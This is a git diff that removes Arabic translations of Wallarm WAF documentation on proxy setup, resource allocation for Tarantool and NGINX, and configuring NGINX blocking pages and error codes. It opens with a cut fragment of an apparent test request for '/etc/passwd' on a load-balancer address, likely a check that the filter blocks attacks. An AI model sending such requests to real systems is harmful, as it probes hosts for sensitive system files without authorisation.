${LB_IP}/etc/passwd -``` \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md b/docs/latest-ar/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md deleted file mode 100644 index 741918963f..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md +++ /dev/null @@ -1,52 +0,0 @@ -# الوصول إلى واجهة برمجة تطبيقات Wallarm عبر البروكسي - -توصف هذه التعليمات الخطوات لتهيئة الوصول إلى واجهة برمجة تطبيقات Wallarm عبر خادم البروكسي. - -* `https://api.wallarm.com/` للسحابة الأوروبية -* `https://us1.api.wallarm.com/` للسحابة الأمريكية - -لتهيئة الوصول، الرجاء تخصيص قيم جديدة للمتغيرات البيئية التي تحدد خادم البروكسي المستخدم في ملف `/etc/environment`: - -* `https_proxy` لتعريف بروكسي لبروتوكول HTTPS -* `http_proxy` لتعريف بروكسي لبروتوكول HTTP -* `no_proxy` لتعريف قائمة الموارد التي ينبغي عدم استخدام البروكسي لها - -## قيم https_proxy و http_proxy - -عيِّن القيم النصية `://:@:` لمتغيرات `https_proxy` و`http_proxy`: - -* `` يحدد البروتوكول المستخدم. يجب أن يتطابق مع البروتوكول الذي يعمل المتغير البيئي الحالي على إعداد البروكسي له -* `` يحدد اسم المستخدم للترخيص بالبروكسي -* `` يحدد كلمة المرور للترخيص بالبروكسي -* `` يحدد مضيف خادم البروكسي -* `` يحدد منفذ خادم البروكسي - -## قيمة no_proxy - -لمتغير `no_proxy`، عيِّن مصفوفة عناوين الـ IP و/أو النطاقات التي ينبغي عدم استخدام البروكسي لها: - -* `127.0.0.1`، `127.0.0.8`، `127.0.0.9` و `localhost` لتشغيل عقدة Wallarm بشكل صحيح -* عناوين إضافية في التنسيق: `", , , , ..."` حيث ``، ``، ``، و `` هي عناوين الـ IP و/أو النطاقات - -## مثال على ملف /etc/environment - -يوضح مثال الملف `/etc/environment` أدناه التكوين التالي: - -* يتم توجيه طلبات HTTPS وHTTP إلى المضيف `1.2.3.4` بالمنفذ `1234`، باستخدام اسم المستخدم `admin` وكلمة المرور `01234` للترخيص في خادم البروكسي. -* تعطيل التوجيه عبر البروكسي للطلبات المرسلة إلى `127.0.0.1`، `127.0.0.8`، `127.0.0.9`، و `localhost`. - -```bash -https_proxy=http://admin:01234@1.2.3.4:1234 -http_proxy=http://admin:01234@1.2.3.4:1234 -no_proxy="127.0.0.1, 127.0.0.8, 127.0.0.9, localhost" -``` - -## تشغيل سكربت الكل في واحد - -عند تثبيت عقدة فلترة بواسطة المثبِّت [الكل في واحد](../../installation/nginx/all-in-one.md)، تأكد من إضافة علم `--preserve-env=https_proxy,no_proxy` إلى الأمر الذي ينفذ السكربت، على سبيل المثال: - -``` -sudo --preserve-env=https_proxy,no_proxy env WALLARM_LABELS='group=' sh wallarm-.-glibc.sh -``` - -هذا يضمن تطبيق إعدادات البروكسي (`https_proxy`, `no_proxy`) بشكل صحيح خلال عملية التثبيت. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/allocate-resources-for-node.md b/docs/latest-ar/admin-en/configuration-guides/allocate-resources-for-node.md deleted file mode 100644 index a5522f15ee..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/allocate-resources-for-node.md +++ /dev/null @@ -1,180 +0,0 @@ -# تخصيص الموارد لعقدة Wallarm - -كمية الذاكرة وموارد المعالج المخصصة لعقدة التصفية تحدد جودة وسرعة معالجة الطلبات. تصف هذه التعليمات التوصيات لتخصيص ذاكرة عقدة التصفية. - -في عقدة التصفية هناك مستهلكين رئيسيين للذاكرة والمعالج: - -* [Tarantool](#tarantool)، يُسمى أيضًا **وحدة postanalytics**. هذا هو النظام الخلفي لتحليلات البيانات المحلية والمستهلك الأساسي للذاكرة في عقدة التصفية. -* [NGINX](#nginx) هو العقدة الرئيسية للتصفية ومكون الوكيل المعكوس. - -يعتمد استخدام المعالج لـNGINX على العديد من العوامل مثل مستوى RPS، والحجم الوسطي للطلب والاستجابة، وعدد قواعد مجموعة القواعد المخصصة التي تتعامل معها العقدة، وأنواع وطبقات ترميزات البيانات المستخدمة مثل Base64 أو ضغط البيانات، إلخ. - -بمتوسط، يمكن لنواة المعالج التعامل مع حوالي 500 RPS. عند التشغيل في وضع الإنتاج، يُوصى بتخصيص نواة واحدة على الأقل لعملية NGINX ونواة واحدة لعملية Tarantool. في معظم الحالات يُوصى بإفراط في تخصيص التوفير لعقدة التصفية في البداية، رؤية الاستخدام الفعلي للمعالج والذاكرة لمستويات حركة المرور الإنتاجية الفعلية، وتقليل الموارد المخصصة تدريجياً إلى مستوى معقول (مع وجود مجال لتقلبات حركة المرور وتكرار العقدة بمقدار 2x على الأقل). - -## Tarantool - ---8<-- "../include/allocate-resources-for-waf-node/tarantool-memory.md" - -### تخصيص الموارد في Kubernetes Ingress Controller - ---8<-- "../include/allocate-resources-for-waf-node/tarantool-memory-ingress-controller.md" - -### تخصيص الموارد إذا كنت تستخدم البرنامج المثبت كلياً - -يتم التحكم في حجم ذاكرة Tarantool باستخدام صفة `SLAB_ALLOC_ARENA` في ملف التكوين `/opt/wallarm/env.list`. لتخصيص ذاكرة: - -1. افتح ملف `/opt/wallarm/env.list` للتعديل: - - ```bash - sudo vim /opt/wallarm/env.list - ``` -1. حدد صفة `SLAB_ALLOC_ARENA` إلى حجم الذاكرة. يمكن أن تكون القيمة عدداً صحيحاً أو عائماً (نقطة `.` هي فاصل عشري). على سبيل المثال: - - ``` - SLAB_ALLOC_ARENA=1.0 - ``` -1. أعد تشغيل خدمات Wallarm: - - ``` - sudo systemctl restart wallarm.service - ``` - -### تخصيص الموارد في خيارات النشر الأخرى - -يتم التحكم في حجم ذاكرة Tarantool باستخدام صفة `SLAB_ALLOC_ARENA` في ملف التكوين `/etc/default/wallarm-tarantool`. لتخصيص ذاكرة: - -
  1. افتح ملف تكوين Tarantool للتعديل:
- -=== "Debian 10.x (buster)" - ```bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - sudo vim /etc/default/wallarm-tarantool - ``` -=== "CentOS 7.x" - ```bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -=== "Amazon Linux 2.0.2021x وأقل" - ```bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - -
  1. حدد صفة SLAB_ALLOC_ARENA إلى حجم الذاكرة. يمكن أن تكون القيمة عدداً صحيحاً أو عائماً (نقطة . هي فاصل عشري). على سبيل المثال:
- -``` -SLAB_ALLOC_ARENA=1.0 -``` - -
  1. أعد تشغيل Tarantool:
- -=== "Debian 10.x (buster)" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "Debian 11.x (bullseye)" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "Ubuntu 18.04 LTS (bionic)" - ```bash - sudo service wallarm-tarantool restart - ``` -=== "Ubuntu 20.04 LTS (focal)" - ```bash - sudo service wallarm-tarantool restart - ``` -=== "Ubuntu 22.04 LTS (jammy)" - ```bash - sudo service wallarm-tarantool restart - ``` -=== "CentOS 7.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "Amazon Linux 2.0.2021x وأقل" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "AlmaLinux، Rocky Linux أو Oracle Linux 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` -=== "RHEL 8.x" - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -## NGINX - -يعتمد استهلاك ذاكرة NGINX على العديد من العوامل. بمتوسط يمكن تقديره كما يلي: - -``` -عدد الطلبات المتزامنة * حجم الطلب الوسطي * 3 -``` - -على سبيل المثال: - -* تعمل عقدة التصفية على معالجة 10000 طلب متزامن في الذروة، -* حجم الطلب الوسطي هو 5 kB. - -يمكن تقدير استهلاك ذاكرة NGINX على النحو التالي: - -``` -10000 * 5 kB * 3 = 150000 kB (أو ~150 MB) -``` - -**لتخصيص كمية الذاكرة:** - -* لوحدة pod NGINX Ingress controller (`ingress-controller`)، قم بضبط الأقسام التالية في ملف `values.yaml` باستخدام خيار `--set` من `helm install` أو `helm upgrade`: - ``` - controller: - resources: - limits: - cpu: 400m - memory: 3280Mi - requests: - cpu: 200m - memory: 1640Mi - ``` - - مثال على الأوامر التي تغير الإعدادات: - - === "تثبيت Ingress controller" - ```bash - helm install --set controller.resources.limits.cpu='2000m',controller.resources.limits.memory='3280Mi' wallarm/wallarm-ingress -n - ``` - - هناك أيضاً [إعدادات أخرى](../configure-kubernetes-en.md#additional-settings-for-helm-chart) مطلوبة لتثبيت Ingress controller بشكل صحيح. يرجى تمريرها في خيار `--set` أيضاً. - === "تحديث إعدادات Ingress controller" - ```bash - helm upgrade --reuse-values --set controller.resources.limits.cpu='2000m',controller.resources.limits.memory='3280Mi' wallarm/wallarm-ingress -n - ``` - -* لخيارات النشر الأخرى، استخدم ملفات تكوين NGINX. - -## استكشاف الأخطاء وإصلاحها - -إذا استهلكت عُقدة Wallarm مزيداً من الذاكرة والمعالج مما كان متوقعاً، لتقليل استخدام الموارد، اطلع على التوصيات من مقال [استكشاف مشاكل الاستخدام العالي للمعالج](../../faq/cpu.md) واتبعها. \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/configure-block-page-and-code.md b/docs/latest-ar/admin-en/configuration-guides/configure-block-page-and-code.md deleted file mode 100644 index b005bb611f..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/configure-block-page-and-code.md +++ /dev/null @@ -1,521 +0,0 @@ -# تكوين صفحة الحجب ورمز الخطأ (NGINX) - -تتناول هذه التعليمات الطريقة لتخصيص صفحة الحجب ورمز الخطأ المرتجع في الرد على طلب تم حجبه للأسباب التالية: - -* الطلب يحتوي على الحُمولات الخبيثة من الأنواع التالية: [هجمات التحقق من المدخلات](../../about-wallarm/protecting-against-attacks.md#input-validation-attacks), [هجمات vpatch](../../user-guides/rules/vpatch-rule.md)، أو [الهجمات المكتشفة على أساس التعبيرات القواعدية](../../user-guides/rules/regex-rule.md). -* الطلب الذي يحتوي على الحُمولات الخبيثة من القائمة أعلاه ينشأ من [عنوان IP مُدرج في القائمة الرمادية](../../user-guides/ip-lists/overview.md) والعقدة تُصفى الطلبات في وضع الحجب الآمن [mode](../configure-wallarm-mode.md). -* الطلب ينشأ من [عنوان IP مُرفض](../../user-guides/ip-lists/overview.md). - -## القيود على التكوين - -يتم دعم تكوين صفحة الحجب ورمز الخطأ في تنشيطات العقدة الأساسية لـ NGINX من Wallarm ولكن لا يتم دعمه في تنشيطات العقدة الأساسية لـ Envoy و CDN. العقدة الأساسية لـ Envoy و CDN دائماً تُعيد الرمز `403` في الرد على الطلب المحجوب. - -## طرق التكوين - -بشكل افتراضي، يتم إعادة رمز الرد 403 وصفحة الحجب الافتراضية لـ NGINX إلى العميل. يمكنك تغيير الإعدادات الافتراضية باستخدام التوجيهات الآتية لـ NGINX: - -* `wallarm_block_page` -* `wallarm_block_page_add_dynamic_path` - -### توجيه NGINX `wallarm_block_page` - -يمكنك تكوين صفحة الحجب ورمز الخطأ بتمرير العوامل التالية في توجيه `wallarm_block_page` لـ NGINX: - -* الطريق إلى ملف HTM أو HTML لصفحة الحجب. يمكنك تحديد الطريق إلى صفحة الحجب العرفية أو [صفحة الحجب النموذجية](#customizing-sample-blocking-page) المقدمة من Wallarm. -* نص الرسالة التي يتم إعادتها في الرد على طلب محجوب. -* URL لإعادة توجيه العميل. -* `response_code`: رمز الرد. -* `type`: نوع الطلب المحجوب بناءً على الذي يجب أن يتم إعادة التكوين المحدد له. العامل يقبل قيمة واحدة أو أكثر (مفصولة بفواصل) من القائمة: - - * `attack` (بشكل افتراضي): للطلبات التي تم حجبها بواسطة العقدة المُصفاة عندما تكون عقدة المُصفاة على وضع الحجب أو الحجب الآمن [mode](../configure-wallarm-mode.md). - * `acl_ip`: للطلبات التي تنشأ من عناوين IP التي تمت إضافتها إلى [القائمة السوداء](../../user-guides/ip-lists/overview.md) ككائن منفرد أو شبكة فرعية. - * `acl_source`: للطلبات التي تنشأ من عناوين IP التي تم تسجيلها في البلدان أو المناطق أو مراكز البيانات [المُدرجة في القائمة السوداء](../../user-guides/ip-lists/overview.md). - -توجيه `wallarm_block_page` يقبل العوامل المُدرجة بالتنسيقات التالية: - -* الطريق إلى ملف HTM أو HTML، رمز الخطأ (اختياري)، ونوع الطلب المحجوب (اختياري) - - ```bash - wallarm_block_page &/ response_code= type=; - ``` - - Wallarm تُقدم صفحة الحجب النموذجية والتي يمكنك استخدامها كنقطة بداية لتخصيصك [الخاص](#customizing-sample-blocking-page). الصفحة موجودة تحت الطريق التالي: - - === "المثبت الشامل، صورة AMI أو GCP، صورة Docker أساسية لـ NGINX" - ``` - &/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html - ``` - === "خيارات التنشيط الأخرى" - ``` - &/usr/share/nginx/html/wallarm_blocked.html - ``` - - يمكنك استخدام [متغييرات NGINX](https://nginx.org/en/docs/varindex.html) على صفحة الحجب. لذلك، أضف اسم المتغير بتنسيق `${variable_name}` إلى كود صفحة الحجب، مثل `${remote_addr}` لعرض عنوان IP الذي تنشأ منه الطلب المحجوب. - - !!! warning "معلومات مهمة لمستخدمي Debian و CentOS" - إذا كنت تستخدم إصدار NGINX أقل من 1.11 مُثبت من [مستودعات CentOS/Debian](../../installation/nginx/dynamic-module-from-distr.md)، يجب أن تقوم بإزالة متغير `request_id` من كود الصفحة لعرض صفحة الحجب الديناميكية بشكل صحيح: - ``` - UUID ${request_id} - ``` - - ما سبق ينطبق على كلاً من `wallarm_blocked.html` وصفحة الحجب العرفية. - - [مثال على التكوين →](#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code) -* URL لإعادة توجيه العميل ونوع الطلب المحجوب (اختياري) - - ``` bash - wallarm_block_page / type=; - ``` - - [مثال على التكوين →](#url-for-the-client-redirection) -* `location` مُسمى من NGINX ونوع الطلب المحجوب (اختياري) - - ``` bash - wallarm_block_page @ type=; - ``` - - [مثال على التكوين →](#named-nginx-location) -* اسم المتغير الذي يُعين الطريق إلى ملف HTM أو HTML، رمز الخطأ (اختياري)، ونوع الطلب المحجوب (اختياري) - - ``` bash - wallarm_block_page & response_code= type=; - ``` - - !!! warning "تهيئة صفحة الحجب مع متغييرات NGINX في الكود" - إذا كنت تستخدم هذه الطريقة لتعيين صفحة الحجب مع [متغييرات NGINX](https://nginx.org/en/docs/varindex.html) في كودها، يرجى تهيئة هذه الصفحة عبر التوجيه [`wallarm_block_page_add_dynamic_path`](#nginx-directive-wallarm_block_page_add_dynamic_path). - - [مثال على التكوين →](#variable-and-error-code) - -التوجيه `wallarm_block_page` يمكن تعيينه داخل الكتل `http`، `server`، `location` من ملف تكوين NGINX. - -### توجيه NGINX `wallarm_block_page_add_dynamic_path` - -يستخدم التوجيه `wallarm_block_page_add_dynamic_path` لتهيئة صفحة الحجب التي تحتوي على متغييرات NGINX في كودها ويتم تعيين الطريق إلى هذه الصفحة الحاجبة أيضاً باستخدام متغير. وإلا، لا يتم استخدام التوجيه. - -يمكن تعيين التوجيه داخل كتلة `http` من ملف تكوين NGINX. - -## تخصيص الصفحة النموذجية للحجب - -تبدو الصفحة النموذجية المُقدمة من Wallarm كالتالي: - -![صفحة الحجب من Wallarm](../../images/configuration-guides/blocking-page-provided-by-wallarm-36.png) - -يمكنك استخدام الصفحة النموذجية كنقطة بداية لتخصيصك بتعزيزها بما يلي: - -* إضافة شعار شركتك – بشكل افتراضي، لا يُعرض شعار على الصفحة. -* إضافة البريد الإلكتروني لدعم شركتك – بشكل افتراضي، لا يتم استخدام روابط البريد الإلكتروني وعبارة "اتصل بنا" هي نص بسيط بدون أي رابط. -* تغيير أي عناصر HTML أخرى أو إضافة عناصرك الخاصة. - -!!! info "واريانتات الصفحة العرفية للحجب" - بدلاً من تعديل الصفحة النموذجية المُقدمة من Wallarm، يمكنك إنشاء صفحة عرفية من الصفر. - -### الإجراء العام - -إذا قمت بتعديل الصفحة النموذجية نفسها، قد تُفقد تعديلاتك عند تحديث مكونات Wallarm. لذلك، من الأفضل نسخ الصفحة النموذجية، إعطائها اسم جديد، ومن ثم تعديلها. تصرف بناءً على نوع التثبيت الخاص بك كما هو موضح في الأقسام أدناه. - -**الصفحة النموذجية للنسخ** - -يمكنك إنشاء نسخة من `/usr/share/nginx/html/wallarm_blocked.html` (`/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`) الموجودة بالبيئة التي يتم فيها تثبيت عقدتك المُصفاة. كبديل، انسخ الكود أدناه واحفظه كملف جديد: - -??? info "ظهر كود الصفحة النموذجية" - - ```html - - - - - - - - You are blocked - - - - - - -
- - -
-
- - - - - -
Malicious activity blocked
-
Your request is blocked since it was identified as a malicious one.
-
-
-
Why it happened
-
- You might have used symbols similar to a malicious code sequence, or uploaded a specific file. -
- -
- -
What to do
-
- If your request is considered to be legitimate, please contact us and provide your last action description and the following data: -
- -
- IP ${remote_addr}
- Blocked on ${time_iso8601}
- UUID ${request_id} -
- - -
-
-
-
- - - ``` - -**ملف نظام عام** - -يمكنك إنشاء نسخة من `/usr/share/nginx/html/wallarm_blocked.html` (`/opt/wallarm/usr/share/nginx/html/wallarm_blocked.html`) تحت اسم جديد أينما تريد (يجب أن يكون لـ NGINX الإذن بالقراءة هناك) بما في ذلك المجلد نفسه. - -**حاوية Docker** - -لتعديل الصفحة النموذجية للحجب أو توفير الخاصة بك من الصفر، يمكنك استخدام وظيفة [bind mount](https://docs.docker.com/storage/bind-mounts/) لـ Docker. عند استخدامها، يتم نسخ صفحتك وملف التكوين NGINX من جهازك المُضيف إلى الحاوية ومن ثم يتم الربط بمراجعة الأصول، بحيث إذا قمت بتغيير الملفات على جهازك المُضيف، ستتم مزامنة النسخ وبالعكس. - -لذا، لتعديل الصفحة النموذجية للحجب أو توفير الخاصة بك، قم بما يلي: - -1. قبل التشغيل الأول، [قم بإعداد](#copy) `wallarm_blocked_renamed.html` المعدل الخاص بك. -1. قم بإعداد ملف تكوين NGINX بالطريق إلى صفحتك الحاجبة. انظر [مثال التكوين](#path-to-the-htm-or-html-file-with-the-blocking-page-and-error-code). -1. تشغيل الحاوية [بتثبيت](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) الصفحة الحاجبة المُعدة وملف التكوين. -1. إذا كنت بحاجة إلى تحديث صفحتك الحاجبة في حاوية تعمل في وقت لاحق، على جهازك المُضيف، قم بتغيير `wallarm_blocked_renamed.html` المُرجع ثم أعد تشغيل NGINX في الحاوية. - -**وحدة التحكم Ingress** - -لتعديل الصفحة النموذجية للحجب أو توفير الخاصة بك، قم بما يلي: - -1. [قم بإعداد](#copy) `wallarm_blocked_renamed.html` المعدل الخاص بك. -1. [إنشاء ConfigMap من الملف](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files) `wallarm_blocked_renamed.html`. -1. قم بتركيب ConfigMap التي تم إنشاؤها على الوحدة `Pod` مع وحدة التحكم Ingress من Wallarm. لذلك، يرجى تحديث كائن الـ Deployment ذي الصلة بوحدة التحكم Ingress من Wallarm باتباع [التعليمات](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap). - - !!! info "الدليل لتركيب ConfigMap" - نظرًا لأن الملفات الموجودة في الدليل المستخدم لتركيب ConfigMap يمكن أن يتم حذفها، يوصى بإنشاء دليل جديد للملفات التي تم تركيبها عبر ConfigMap. - -### تعديلات متكررة - -لإضافة شعار شركتك، في ملف `wallarm_blocked_renamed.html`، قم بتعديل وإلغاء التعليق: - -```html -
- -``` - -لإضافة البريد الإلكتروني لدعم شركتك، في ملف `wallarm_blocked_renamed.html`، قم بتعديل متغير `SUPPORT_EMAIL`: - -```html - -``` - -إذا كنت تقوم بتهيئة متغير عرفي يحتوي على `$` في قيمة، اهرب هذا الرمز عبر إضافة `{wallarm_dollar}` قبل اسم المتغير، مثل: `${wallarm_dollar}{variable_name}`. متغير `wallarm_dollar` يُعيد `&`. - -## أمثلة التكوين - -أدناه هي أمثلة على تكوين صفحة الحجب ورمز الخطأ عبر التوجيهات `wallarm_block_page` و `wallarm_block_page_add_dynamic_path`. - -يتم تحديد العامل `type` من التوجيه `wallarm_block_page` بشكل صريح في كل مثال. إذا قمت بإزالة العامل `type`، يتم إعادة صفحة الحجب التكوينة، الرسالة، إلخ فقط في الرد على الطلب الذي تم حجبه بواسطة العقدة المُصفاة في الوضع الحجب أو الحجب الآمن [mode](../configure-wallarm-mode.md). - -### الطريق إلى الملف HTM أو HTML لصفحة الحجب ورمز الخطأ - -يظهر هذا المثال الإعدادات التالية للرد: - -* [الصفحة](#customizing-sample-blocking-page) النموذجية المُعدلة للحجب `/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html` ورمز الخطأ 445 إذا تم حجب الطلب بواسطة العقدة المُصفاة في الوضع الحجب أو الحجب الآمن. -* صفحة الحجب العرفية `/usr/share/nginx/html/block.html` ورمز الخطأ 445 إذا تم إنشاء الطلب من أي عنوان IP مُرفض. - -#### ملف تكوين NGINX - -```bash -wallarm_block_page &/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html response_code=445 type=attack; -wallarm_block_page &/usr/share/nginx/html/block.html response_code=445 type=acl_ip,acl_source; -``` - -لتطبيق الإعدادات على حاوية Docker، يجب تثبيت ملف التكوين NGINX بالإعدادات المناسبة على الحاوية بالإضافة إلى ملفات `wallarm_blocked_renamed.html` و `block.html`. [تشغيل الحاوية بتثبيت ملف التكوين →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### تعليقات Ingress - -قبل إضافة تعليق Ingress: - -1. [أنشئ ConfigMap من الملفات](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files) `wallarm_blocked_renamed.html` و `block.html`. -2. قم بتركيب ConfigMap المُنشأة على الوحدة `Pod` مع وحدة التحكم Ingress من Wallarm. لذلك، يرجى تحديث كائن الـ Deployment ذي الصلة بوحدة التحكم Ingress من Wallarm باتباع [التعليمات](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap). - - !!! info "الدليل لتركيب ConfigMap" - نظرًا لأن الملفات الموجودة في الدليل المستخدمة لتركيب ConfigMap يمكن أن يتم حذفها، يوصى بإنشاء دليل جديد للملفات المثبتة عبر ConfigMap. -تعليقات Ingress: - -```bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="&/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html response_code=445 type=attack;&/usr/share/nginx/html/block.html response_code=445 type=acl_ip,acl_source" -``` - -### URL لإعادة توجيه العميل - -يظهر هذا المثال إعدادات لإعادة توجيه العميل إلى الصفحة `host/err445` إذا تم حجب الطلب بواسطة العقدة المُصفاة والذي تم إنشاؤه من البلدان أو المناطق أو مراكز البيانات التي تمت إضافتها إلى القائمة السوداء. - -#### ملف تكوين NGINX - -```bash -wallarm_block_page /err445 type=acl_source; -``` - -لتطبيق الإعدادات على حاوية Docker، يجب تثبيت ملف التكوين NGINX بالإعدادات المناسبة على الحاوية. [تشغيل الحاوية بتثبيت ملف التكوين →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### تعليقات Ingress - -```bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="/err445 type=acl_source" -``` - -### `location` مُسمى من NGINX - -يظهر هذا المثال الإعدادات لإعادة إلى العميل الرسالة `The page is blocked` ورمز الخطأ 445 بغض النظر عن السبب الذي يتم حجب الطلب بناءً عليه (وضع الحجب أو الحجب الآمن، الأصل مُرفض كعنصر فردي IP / شبكة فرعية / بلد أو منطقة / مركز البيانات). - -#### ملف تكوين NGINX - -```bash -wallarm_block_page @block type=attack,acl_ip,acl_source; -location @block { - return 445 'The page is blocked'; -} -``` - -لتطبيق الإعدادات على حاوية Docker، يجب تثبيت ملف التكوين NGINX بالإعدادات المناسبة على الحاوية. [تشغيل الحاوية بتثبيت ملف التكوين →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### تعليقات Ingress - -```bash -kubectl annotate ingress -n nginx.ingress.kubernetes.io/server-snippet="location @block {return 445 'The page is blocked';}" -kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page="@block type=attack,acl_ip,acl_source" -``` - -### المتغير ورمز الخطأ - -يعيد هذا التكوين الرد إلى العميل إذا كان الطلب ينشأ من المصدر المُدرج في القائمة السوداء كعنصر فردي IP أو شبكة فرعية. تُعيد العقدة من Wallarm الرمز 445 وصفحة الحجب التي يعتمد محتواها على قيمة رأس `User-Agent`: - -* بشكل افتراضي، يتم إعادة [الصفحة](#customizing-sample-blocking-page) النموذجية المُعدلة للحجب `/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html`. نظرًا لاستخدام متغييرات NGINX في كود الصفحة الحاجبة، ينبغي تهيئة هذه الصفحة عبر التوجيه `wallarm_block_page_add_dynamic_path`. -* لمستخدمي Firefox — `/usr/share/nginx/html/block_page_firefox.html` (إذا كنت تقوم بتنشيط وحدة التحكم Ingress، يوصى بإنشاء دليل منفصل لملفات الصفحات المحجوبة العرفية، أي `/usr/custom-block-pages/block_page_firefox.html`): - - ```bash - You are blocked! - - IP ${remote_addr} - Blocked on ${time_iso8601} - UUID ${request_id} - ``` - - نظرًا لاستخدام متغييرات NGINX في كود الصفحة الحاجبة، ينبغي تهيئة هذه الصفحة عبر التوجيه `wallarm_block_page_add_dynamic_path`. -* لمستخدمي Chrome — `/usr/share/nginx/html/block_page_chrome.html` (إذا كنت تقوم بتنشيط وحدة التحكم Ingress، يوصى بإنشاء دليل منفصل لملفات الصفحات المحجوبة العرفية، أي `/usr/custom-block-pages/block_page_chrome.html`): - - ```bash - You are blocked! - ``` - - نظرًا لعدم استخدام متغييرات NGINX في كود الصفحة الحاجبة، ينبغي ألا يتم تهيئة هذه الصفحة. - -#### ملف تكوين NGINX - -```bash -wallarm_block_page_add_dynamic_path /usr/share/nginx/html/block_page_firefox.html /opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html; - -map $http_user_agent $block_page { - "~Firefox" &/usr/share/nginx/html/block_page_firefox.html; - "~Chrome" &/usr/share/nginx/html/block_page_chrome.html; - default &/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html; -} - -wallarm_block_page $block_page response_code=445 type=acl_ip; -``` - -لتطبيق الإعدادات على حاوية Docker، يجب تثبيت ملف التكوين NGINX بالإعدادات المناسبة على الحاوية بالإضافة إلى ملفات `wallarm_blocked_renamed.html`، `block_page_firefox.html`، و `block_page_chrome.html`. [تشغيل الحاوية بتثبيت ملف التكوين →](../installation-docker-en.md#run-the-container-mounting-the-configuration-file) - -#### وحدة التحكم Ingress - -1. قم بتمرير العامل `controller.config.http-snippet` إلى الرسم البياني Helm المُثبت باستخدام الأمر [`helm upgrade`](https://helm.sh/docs/helm/helm_upgrade/): - - ```bash - helm upgrade --reuse-values --set controller.config.http-snippet='wallarm_block_page_add_dynamic_path /usr/custom-block-pages/block_page_firefox.html /opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html; map $http_user_agent $block_page { "~Firefox" &/usr/custom-block-pages/block_page_firefox.html; "~Chrome" &/usr/custom-block-pages/block_page_chrome.html; default &/opt/wallarm/usr/share/nginx/html/wallarm_blocked_renamed.html;}' wallarm/wallarm-ingress -n - ``` -2. [أنشئ ConfigMap من الملفات](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#create-configmaps-from-files) `wallarm_blocked_renamed.html`، `block_page_firefox.html`، و `block_page_chrome.html`. -3. قم بتركيب ConfigMap المُنشأة على الوحدة `Pod` مع وحدة التحكم Ingress من Wallarm. لذلك، يرجى تحديث كائن الـ Deployment ذي الصلة بوحدة التحكم Ingress من Wallarm باتباع [التعليمات](https://kubernetes.io/docs/tasks/configure-pod-container/configure-pod-configmap/#populate-a-volume-with-data-stored-in-a-configmap). - - !!! info "الدليل لتركيب ConfigMap" - نظرًا لأن الملفات الموجودة في الدليل المستخدمة لتركيب ConfigMap يمكن أن يتم حذفها، يوصى بإنشاء دليل جديد للملفات المثبتة عبر ConfigMap. -4. أضف التعليق التالي إلى Ingress: - - ```bash - kubectl annotate ingress -n nginx.ingress.kubernetes.io/wallarm-block-page='$block_page response_code=445 type=acl_ip' - ``` \ No newline at end of file diff --git a/docs/latest-ar/admin-en/configuration-guides/envoy/fine-tuning.md b/docs/latest-ar/admin-en/configuration-guides/envoy/fine-tuning.md deleted file mode 100644 index 89a2aba061..0000000000 --- a/docs/latest-ar/admin-en/configuration-guides/envoy/fine-tuning.md +++ /dev/null @@ -1,161 +0,0 @@ -# خيارات التكوين لوحدة Wallarm على أساس Envoy - -[link-lom]: ../../../user-guides/rules/rules.md - -[anchor-process-time-limit]: #processtimelimit -[anchor-tsets]: #filtering-mode-settings - -يستخدم Envoy مرشحات قابلة للتوصيل معرفة في ملف التكوين Envoy لمعالجة الطلبات الواردة. تصف هذه المرشحات الإجراءات التي يجب تنفيذها على الطلب. على سبيل المثال، يتم استخدام مرشح 